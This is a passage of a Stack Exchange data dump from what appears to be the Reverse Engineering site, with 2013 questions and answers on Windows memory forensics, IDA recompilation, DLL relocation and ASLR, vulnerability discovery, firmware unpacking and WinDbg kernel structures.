this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PID: 600, services.exe&#xA;&#xA;msvcrt.dll - 0x77c10000&#xA;    kernel32.dll - 0x7c800000&#xA;        ntdll.dll - 0x7c900000&#xA;advapi32.dll - 0x77dd0000&#xA;    secur32.dll - 0x77fe0000&#xA;        netapi32.dll - 0x5b860000&#xA;            ws2_32.dll - 0x71ab0000&#xA;                ws2help.dll - 0x71aa0000&#xA;                    user32.dll - 0x77d40000&#xA;                        cant parse delay import directory&#xA;rpcrt4.dll - 0x77e70000&#xA;userenv.dll - 0x769c0000&#xA;    authz.dll - 0x776c0000&#xA;        cant parse delay import directory&#xA;    ole32.dll - 0x774e0000&#xA;        gdi32.dll - 0x77f10000&#xA;    oleaut32.dll - 0x77120000&#xA;scesrv.dll - 0x758e0000&#xA;    cant parse delay import directory&#xA;umpnpmgr.dll - 0x758c0000&#xA;    winsta.dll - 0x76360000&#xA;ncobjapi.dll - 0x5f770000&#xA;    msvcp60.dll - 0x76080000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, sometimes the delay import directories can't be read although the module has the directory and the size of the directory is not 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above example I was able to identify 20 executable vads that correspond to imported modules. (20 out of a total of 38 executable vads)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among the other 18 executable vads, there are many that belong to other dlls such as version.dll, uxtheme.dll or apphelp.dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Start: 2008285184, 0x77b40000L&#xA;Flags: CommitCharge: 1, ImageMap: 1, Protection: 7&#xA;ControlArea @8a3f4bf8 Segment e15392a0&#xA;Dereference list: Flink 00000000, Blink 00000000&#xA;NumberOfSectionReferences:          1 NumberOfPfnReferences:          12&#xA;NumberOfMappedViews:                4 NumberOfUserReferences:          5&#xA;WaitingForDeletion Event:  00000000&#xA;Control Flags: Accessed: 1, File: 1, HadUserReference: 1, Image: 1&#xA;FileObject @8a4fc660, Name: \WINDOWS\system32\apphelp.dll&#xA;First prototype PTE: e15392d8 Last contiguous PTE: fffffffc&#xA;Flags2: Inherit: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any Ideas why the import directories can't be parsed? Or any other comments regarding my idea? Maybe a way to achive the same just another way...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is most appreciated, thank you!&lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="3365" LastEditDate="2013-12-16T15:29:32.607" LastActivityDate="2013-12-16T15:29:32.607" Title="Finding the correlation of imported dll's and executable vad's of a process" Tags="|windows|memory|digital-forensics|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3203" PostTypeId="1" AcceptedAnswerId="3562" CreationDate="2013-12-16T21:03:24.710" Score="4" ViewCount="8231" Body="&lt;p&gt;currently I am trying to use IDA pro to &lt;strong&gt;generate assembly code from PE file and recompile it&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Firstly&lt;/h3&gt;&#xA;&lt;p&gt;basically I know this way:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;File -&amp;gt; Produce File -&amp;gt; Create ASM File&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and it seems the asm file it generated cannot be directly recompile.&lt;/p&gt;&#xA;&lt;h3&gt;Second&lt;/h3&gt;&#xA;&lt;p&gt;use some IDC or Python script in the IDA to extract useful asm instructions, put them together in order and recompile,&#xA;this kind of solution can be seen from some academic paper, but non of them have given some detailed instructions about how to do this task...&lt;/p&gt;&#xA;&lt;p&gt;Could anyone give me some instructions about this issue..?&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-01-08T11:16:03.277" Title="Recompile the asm file IDA pro created" Tags="|disassembly|ida|idapython|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3204" PostTypeId="1" CreationDate="2013-12-16T21:18:30.993" Score="2" ViewCount="1248" Body="&lt;p&gt;I have a question about how a DLL which is marked as non-ASLR compatible can have a different base address every time I run the program that loads it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, this DLL, which is not ASLR compatible (confirmed via both WinDbg-narly and &lt;code&gt;dumpbin&lt;/code&gt;) shows a different starting address every time it's run. I've done some research, and the only thing I see that would cause this sort of behavior would be the loader putting the library at a different address at runtime to account for two libraries that have the same preferred base address. However, every time I run the service (with the same config, same startup sequence, etc), I show a different base address for the library in question, and this base address never repeats (in the 20+ times I've tested it). I had assumed that if the loader were moving the library for a non-ASLR purpose, that the final base address would at least be the same every once in a while, or would be somewhat deterministic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea of what could cause this sort of behavior?&lt;/p&gt;&#xA;" OwnerUserId="3399" LastEditorUserId="245" LastEditDate="2013-12-17T04:04:46.503" LastActivityDate="2013-12-17T20:17:15.137" Title="Non-ASLR DLL Has Randomized Base per Runtime" Tags="|windows|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3205" PostTypeId="2" ParentId="3108" CreationDate="2013-12-16T22:31:31.570" Score="0" Body="&lt;p&gt;According to the video linked on @ruby_object's answer, if you need to check the 8-bit RISC processor &lt;a href=&quot;http://www.visual6502.org&quot; rel=&quot;nofollow&quot;&gt;MOS-6502-D&lt;/a&gt; made on a 4µm process fab, you need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hot sulfuric acid (200º F).&lt;/li&gt;&#xA;&lt;li&gt;microscope nikon Optiphot 200 with 10x objective.&lt;/li&gt;&#xA;&lt;li&gt;the &lt;a href=&quot;http://www.visual6502.org&quot; rel=&quot;nofollow&quot;&gt;layout&lt;/a&gt; &lt;a href=&quot;http://www.visual6502.org/images/6502/MOS_6502_layers_all_metal.png&quot; rel=&quot;nofollow&quot;&gt;with&lt;/a&gt; &lt;a href=&quot;http://www.visual6502.org/images/6502/MOS_6502_layers_polysilicon_vias.png&quot; rel=&quot;nofollow&quot;&gt;three&lt;/a&gt; &lt;a href=&quot;http://www.visual6502.org/images/6502/MOS_6502_layers_diffusion_buried_contacts.png&quot; rel=&quot;nofollow&quot;&gt;layers&lt;/a&gt; of 3510 transistors and 20,000 metal plates.&lt;/li&gt;&#xA;&lt;li&gt;less than &lt;a href=&quot;http://research.swtch.com/6502&quot; rel=&quot;nofollow&quot;&gt;four&lt;/a&gt; man months for matching microscope images to layout (four months was the duration without the layout).&lt;/li&gt;&#xA;&lt;li&gt;computer graphics techniques&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That does not answer correctly for 22nm process though.&lt;/p&gt;&#xA;" OwnerUserId="3259" LastEditorUserId="3259" LastEditDate="2013-12-17T15:39:17.717" LastActivityDate="2013-12-17T15:39:17.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3207" PostTypeId="5" CreationDate="2013-12-17T08:39:09.337" Score="0" Body="&lt;p&gt;Decryption is the process of decoding an encrypted message with an authorized access (knowledge of the protocol, the encryption algorithm and the key). It differs from cryptanalysis because you are supposed to detain all the required information for a legal access to the information.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-17T08:57:52.820" LastActivityDate="2013-12-17T08:57:52.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3208" PostTypeId="4" CreationDate="2013-12-17T08:39:09.337" Score="0" Body="Process of decoding an encrypted message with an authorized access (knowledge of the protocol, the encryption algorithm and the key)." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-17T08:56:31.297" LastActivityDate="2013-12-17T08:56:31.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3209" PostTypeId="5" CreationDate="2013-12-17T08:48:44.330" Score="0" Body="&lt;p&gt;Debugging is the process of analyzing live programs through software (e.g. ptrace) or hardware (e.g. JTAGs) devices. This term is usually coined to describe the process of understanding the origin of bugs in the program, but the definition can be extended to a deep inspection of how the program works for reverse-engineering purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reverse-engineers prefer to call it &lt;strong&gt;dynamic analysis&lt;/strong&gt; because the goal radically differ from its original usage, though it is using the exact same techniques.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-17T08:57:43.007" LastActivityDate="2013-12-17T08:57:43.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3210" PostTypeId="4" CreationDate="2013-12-17T08:48:44.330" Score="0" Body="Process of analyzing live programs through software (e.g. ptrace) or hardware (e.g. JTAGs) devices." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-17T08:58:24.777" LastActivityDate="2013-12-17T08:58:24.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3212" PostTypeId="1" AcceptedAnswerId="3213" CreationDate="2013-12-17T09:17:23.577" Score="13" ViewCount="875" Body="&lt;p&gt;I hope this question is not OT for RE, but I'm rather curious as to how vulnerabilities are usually found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I'm aware that companies are doing code audits to identify security problems but I doubt that the results of such audits are publicly made available. Another way to find potential attacks is of course thinking about the details of a particular technique and finding its weakness (a timing attack would probably qualify as such).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the case of buffer overruns, I'm always wondering how people find out about it. I mean, if there is a release of some software, reversing it and hoping to find a buffer overflow this way seems rather hopeless to me, considering how much work this is. If your software crashes because of some special input, then of course this can be analyzed and might result in a security vulnerability. So are malware author just monitoring various sources (bug reporting site or similar) in the hope of hearing about such cases to look into it? Somehow I can't believe it.&lt;/p&gt;&#xA;" OwnerUserId="2130" LastEditorUserId="1562" LastEditDate="2013-12-17T14:59:59.477" LastActivityDate="2014-01-09T16:23:40.940" Title="How are vulnerabilities (especially buffer overruns) found in the wild?" Tags="|exploit|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3213" PostTypeId="2" ParentId="3212" CreationDate="2013-12-17T14:59:50.087" Score="17" Body="&lt;p&gt;Most vulnerabilities in closed-source products are found via fuzzing and static reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;reversing it and hoping to find a buffer overflow this way seems&#xA;  rather hopeless to me, considering how much work this is&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Typically you don't need to analyze the entire program, but only the entrypoints for user-input. Yes, it's still a lot of work, but if the results are fruitful then that's all that matters.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So are malware author just monitoring various sources (bug reporting&#xA;  site or similar) in the hope of hearing about such cases to look into&#xA;  it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most malware does not propagate via security exploits, but by simple social-engineering (&quot;here, run this .exe&quot;). For malware that does exploit security vulnerabilities, the authors either rely on modules from &lt;a href=&quot;http://www.rapid7.com/db/modules/&quot;&gt;Metasploit&lt;/a&gt; or buy exploits from the black market. It's extremely rare for a single person to be both a vulnerability finder &lt;em&gt;and&lt;/em&gt; a malware author.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-12-17T15:39:59.020" LastActivityDate="2013-12-17T15:39:59.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3214" PostTypeId="2" ParentId="3204" CreationDate="2013-12-17T19:20:31.257" Score="3" Body="&lt;p&gt;The &lt;code&gt;DYNAMIC_BASE&lt;/code&gt; flag of the &lt;code&gt;DllCharacteristics&lt;/code&gt; bitmask only holds bearing with the &lt;strong&gt;system&lt;/strong&gt; loader. If set, the kernel implementation of &lt;code&gt;NtCreateSection&lt;/code&gt; will choose a randomized base which will be used for every subsequent time the image is loaded and will continue to be used until the last remaining image using those pages is unloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that image is reloaded again after that point, it's base address is reset and the underlying pages are relocated again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But who is to say the base which the kernel implementation chose is a valid VA range in your user process? It might not be, this is why &lt;code&gt;ntdll.dll&lt;/code&gt; also adds its own relocation layer. The &lt;code&gt;ntdll.dll&lt;/code&gt; loader routine will call &lt;code&gt;NtMapViewOfSection&lt;/code&gt;; this function will attempt to map the pages at the base specified by the underlying section object, if it cannot, &lt;strong&gt;it will map them anyway&lt;/strong&gt; but at any open VA range. In this case &lt;code&gt;NtMapViewOfSection&lt;/code&gt; will return with &lt;code&gt;STATUS_IMAGE_NOT_AT_BASE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the usermode based &lt;code&gt;ntdll.dll&lt;/code&gt; loader routine sees this as a return value, it will make an attempt to look up a relocation table for the image and process the table, if a table does not exist, it will (in the case of Windows 7) silently unmap the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case, you also need to set &lt;code&gt;IMAGE_FILE_RELOCS_STRIPPED&lt;/code&gt; as well as remove the relocation table RVA and size fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect you are using VS, in which case the linker option &lt;code&gt;/nodynamicbase&lt;/code&gt; (see &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb384887.aspx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) for DLLs effectively does nothing except for what I mentioned above, the compiler still builds a relocation table anyway. &lt;/p&gt;&#xA;" OwnerUserId="3406" LastEditorUserId="245" LastEditDate="2013-12-17T20:17:15.137" LastActivityDate="2013-12-17T20:17:15.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3215" PostTypeId="2" ParentId="3204" CreationDate="2013-12-17T19:47:43.667" Score="1" Body="&lt;p&gt;Since it's a DLL, it is free to be relocated by the loader, since DLLs are designed to be relocatable.  It also loads after the base process has been mapped, which might be ASLR-enabled.  If it's a DLL that is referenced late in the import table, then it will load after the DLLs before it, any one (or all) of which might also be ASLR-enabled.  For all of those ASLR-enabled objects, any one of them might end up occupying the address that your DLL requested, forcing your DLL to be moved to another (randomly chosen) location.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-12-17T19:47:43.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3216" PostTypeId="2" ParentId="3200" CreationDate="2013-12-17T20:34:26.730" Score="1" Body="&lt;p&gt;The easiest way is to first transfer the APK into a jar file and then decompile the code using your favourite java decompiler (such as &lt;a href=&quot;http://jd.benow.ca/&quot; rel=&quot;nofollow&quot;&gt;jd-gui&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/dex2jar/&quot; rel=&quot;nofollow&quot;&gt;dex2jar&lt;/a&gt; has everything you need to have a better representation of your Android application. There is even a &lt;a href=&quot;http://code.google.com/p/dex2jar/wiki/UserGuide&quot; rel=&quot;nofollow&quot;&gt;user guide&lt;/a&gt; that explains exactly what you need to do.&lt;/p&gt;&#xA;" OwnerUserId="1554" LastActivityDate="2013-12-17T20:34:26.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3218" PostTypeId="2" ParentId="2763" CreationDate="2013-12-18T07:43:53.587" Score="1" Body="&lt;p&gt;Check these out :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.openrce.org/forums/posts/634&quot; rel=&quot;nofollow&quot;&gt;http://www.openrce.org/forums/posts/634&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.woodmann.com/forum/archive/index.php/t-8043.html&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/forum/archive/index.php/t-8043.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is two conditions I recently used in Olly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;([UNICODE[esp+10]] !=&quot;BAR&quot;) &amp;amp;&amp;amp; ([UNICODE[esp]] ==&quot;FOO&quot;)&#xA;[[STRING[esp+8]] ==&quot;FOO&quot;] &amp;amp;&amp;amp; [[STRING[esp+4]] !=&quot;BAR&quot;] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2014-08-03T17:26:56.283" LastActivityDate="2014-08-03T17:26:56.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3219" PostTypeId="2" ParentId="1347" CreationDate="2013-12-18T09:15:54.347" Score="3" Body="&lt;p&gt;I'ld like to add these tools to the list :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/CubicaLabs/IDASynergy&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDASynergy&lt;/a&gt; - A combination of an IDAPython Plugin and a control version system that result in a new reverse engineering collaborative addon for IDA Pro.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://low-priority.appspot.com/ollymigrate/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyMigrate&lt;/a&gt; - Most recent tool of all, to migrate between debuggers&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vDbLp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://tuts4you.com/download.php?view.67&quot; rel=&quot;nofollow noreferrer&quot;&gt;MapConv&lt;/a&gt; - Import IDA .map files to OllyDbg (labels+comments)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TxhZH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://code.h4ck.org.cn/ida-sync-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDASync&lt;/a&gt; - IDA collab tool + &lt;a href=&quot;http://tuts4you.com/download.php?view.83&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllySync&lt;/a&gt; for OllyDbg support.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4fiou.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.quarkslab.com/qb-sync-v2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;qb-sync&lt;/a&gt; - Sync IDA with WinDbg&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blackhat.com/presentations/bh-usa-08/Eagle_Vidas/BH_US_08_Eagle_Vidas_Collabreate_pres.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Related whitepaper&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2014-12-04T14:23:46.993" LastActivityDate="2014-12-04T14:23:46.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3221" PostTypeId="1" AcceptedAnswerId="3225" CreationDate="2013-12-18T14:02:24.863" Score="7" ViewCount="795" Body="&lt;p&gt;Using volatility to inspect a services.exe process in a memory dump, I built a list of dll's that are loaded in the process space. (The modules are from the InLoadOrder module list)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just an excerpt (full list: &lt;a href=&quot;http://pastie.org/8560797&quot;&gt;http://pastie.org/8560797&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x5b860000 netapi32.dll&#xA;FileObject @8a3cb028, Name: \WINDOWS\system32\netapi32.dll&#xA;&#xA;0x77f60000 shlwapi.dll&#xA;FileObject @8a3e0df0, Name: \WINDOWS\system32\shlwapi.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see there is a shlwapi.dll loaded in the process.Thanks to DependencyWalker (looking at the imports of services.exe) I found out how shlwapi.dll is loaded. ( -&gt; means imports )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;netapi.dll -&gt; dnsapi.dll -&gt; iphlpapi.dll -&gt; mprapi.dll -&gt; setupapi.dll -&gt; shlapi.dll &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But only netapi.dll is loaded. dnsapi.dll is not loaded, there is no entry for it in the InLoadOrder module list, neither is any of the other dlls from the from the above &quot;dependency chain&quot; loaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not only for shlapi.dll but for many other dll's that are loaded as well. For example: shell32.dll, psapi.dll... Neither does this only happen for services.exe process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why these dlls are loaded into the process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is most appreciated, regards!&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2013-12-18T19:53:28.087" Title="Modules that exist in a process address space" Tags="|windows|memory|digital-forensics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3222" PostTypeId="2" ParentId="3166" CreationDate="2013-12-18T14:58:13.357" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;Build the module with debug symbols&lt;/li&gt;&#xA;&lt;li&gt;Load the module you built into IDA Pro and import the debug symbols&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot;&gt;BinDiff&lt;/a&gt; to port function names, etc. from the IDB of the module you built to the IDB of your target module&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-18T14:58:13.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3225" PostTypeId="2" ParentId="3221" CreationDate="2013-12-18T19:53:28.087" Score="6" Body="&lt;p&gt;The netapi.dll might have loaded the dnsapi.dll in order to do some network inspection, and then freed the DLL on completion.  However, the shlwapi.dll might hold some handles to objects open for whatever reason, or have a non-zero reference count because of circular loading, and thus remain in memory even after the other DLLs have unloaded.  A request to unload does not guarantee that it will be honored, nor does it prevent the requester from unloading first.  user32.dll is another DLL that usually displays this behavior.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-12-18T19:53:28.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3227" PostTypeId="1" CreationDate="2013-12-19T16:22:46.070" Score="1" ViewCount="487" Body="&lt;p&gt;I need a database of malicious code for MIPS processor Assembly or C to inject in Mibench and evaluate my detection mechanism at run time. Is there anything like this for MIPS? what about for other processors?&#xA;I have shellcodes for MIPS and I want virus like codes for MIPS.&#xA;Don't we have any attack benchmark for this purpose?&lt;/p&gt;&#xA;" OwnerUserId="3427" LastEditorUserId="4212" LastEditDate="2014-06-04T11:52:18.533" LastActivityDate="2014-06-04T11:52:18.533" Title="Is there any database of malicious code for MIPS processor to evaluate detection method?" Tags="|assembly|mips|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3228" PostTypeId="1" CreationDate="2013-12-19T19:21:52.790" Score="5" ViewCount="897" Body="&lt;p&gt;I have 2 files but I have no idea, how to unpack them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.ican3800.zajsoft.net/download/ADB3800TW-Italy/239113254011.ldr&quot; rel=&quot;noreferrer&quot;&gt;239113254011.ldr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.ican3800.zajsoft.net/download/ADB3800TW-Italy/239113254012.krn&quot; rel=&quot;noreferrer&quot;&gt;239113254012.krn&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside is a Firmware for ADB(iCan)3800TW used in Italy. We need to unpack it and delete the root password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help please?&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-12-20T10:37:10.213" Title="How to unpack a TFTP file with Firmware" Tags="|firmware|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3229" PostTypeId="2" ParentId="3228" CreationDate="2013-12-20T01:30:07.790" Score="7" Body="&lt;p&gt;You can try to use &lt;a href=&quot;https://code.google.com/p/binwalk/&quot;&gt;binwalk&lt;/a&gt;. It can be used in various ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Embedded file identification &lt;strong&gt;and&lt;/strong&gt; extraction&lt;/li&gt;&#xA;&lt;li&gt;Executable code identification&lt;/li&gt;&#xA;&lt;li&gt;Entropy analysis and graphing (useful for compression and encryption identification)&lt;/li&gt;&#xA;&lt;li&gt;&quot;Smart&quot; strings analysis &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could try to open your file with &lt;a href=&quot;http://www.7-zip.org/&quot;&gt;7zip&lt;/a&gt;, since it supports a shitload of compression formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also worth looking at the &lt;a href=&quot;https://code.google.com/p/firmware-mod-kit/&quot;&gt;firmware mod kit&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-12-20T01:30:07.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3232" PostTypeId="2" ParentId="3227" CreationDate="2013-12-20T10:58:13.447" Score="0" Body="&lt;p&gt;If you want a database about malicious code, you may want to take a look at IDS and antivirus, like &lt;a href=&quot;http://www.clamav.net/lang/en/&quot; rel=&quot;nofollow&quot;&gt;ClamAV&lt;/a&gt; or &lt;a href=&quot;http://snort.org/&quot; rel=&quot;nofollow&quot;&gt;Snort&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-12-20T10:58:13.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3233" PostTypeId="1" AcceptedAnswerId="3234" CreationDate="2013-12-20T16:13:34.177" Score="4" ViewCount="2483" Body="&lt;p&gt;I'm using WinDbg to try enumerate drivers and their associated devices. Getting the driver name is very easy. It is found in the &lt;a href=&quot;http://msdn.moonsols.com/win7rtm_x86/DRIVER_OBJECT.html&quot; rel=&quot;nofollow&quot;&gt;_DRIVER_OBJECT&lt;/a&gt; structure. Unfortunately, the &lt;a href=&quot;http://msdn.moonsols.com/win7rtm_x86/DEVICE_OBJECT.html&quot; rel=&quot;nofollow&quot;&gt;_DEVICE_OBJECT&lt;/a&gt; does not contain the name of the device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;!devobj&lt;/code&gt; command I can see the name of the device, but I would like to find the table/structure that contains the name.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastEditorUserId="3298" LastEditDate="2013-12-20T16:36:18.003" LastActivityDate="2013-12-23T16:16:32.967" Title="Find the kernel structure that contains device name" Tags="|windows|windbg|kernel-mode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3234" PostTypeId="2" ParentId="3233" CreationDate="2013-12-20T18:34:15.020" Score="8" Body="&lt;p&gt;So assuming like you said, you have the linear address of your device object, use the windbg extension &lt;code&gt;!object 0xlinearaddress&lt;/code&gt;. Based on your windows build, it will display the linear address of the object header. Which in memory exists right below the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use windbg to parse the &lt;code&gt;OBJECT_HEADER&lt;/code&gt; structure for you. Starting with Windows 7 you are going to have a member called &lt;code&gt;InfoMask&lt;/code&gt;, earlier versions have &lt;code&gt;NameInfoOffset&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an earlier build, &lt;code&gt;NameInfoOffset&lt;/code&gt; is subtracted from the linear base of the object header, to get you the base of an &lt;code&gt;OBJECT_HEADER_NAME_INFO&lt;/code&gt; structure for that object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a Windows 7 build or later, &lt;code&gt;InfoMask&lt;/code&gt; is a bitmask describing other creator structures that exist before the beginning of the header. It is computed using the &lt;code&gt;ObInfoMaskToOffsetTable&lt;/code&gt; which contains the offset to the &lt;code&gt;OBJECT_HEADER_NAME_INFO&lt;/code&gt; structure for the object. It is always at a constant location but the &lt;code&gt;InfoMask&lt;/code&gt; should be used to determine if the object is named, because not all objects are required to be named.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a quick example for you, let's say you have a device object at &lt;code&gt;fffffa8001234560&lt;/code&gt;. Let's also presume you are using Windows 7 x64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your name info would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dt nt!_object_header_name_info fffffa8001234560-0x30-0x20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-0x30 to base of header&#xA;-0x20 because in this case &lt;code&gt;InfoMask&lt;/code&gt; used in the table has an index value of 0x20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This structure contains the name &lt;strong&gt;relative&lt;/strong&gt; to it's object directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have a look at the exported kernel routine &lt;code&gt;ObQueryNameInfo&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3406" LastActivityDate="2013-12-20T18:34:15.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
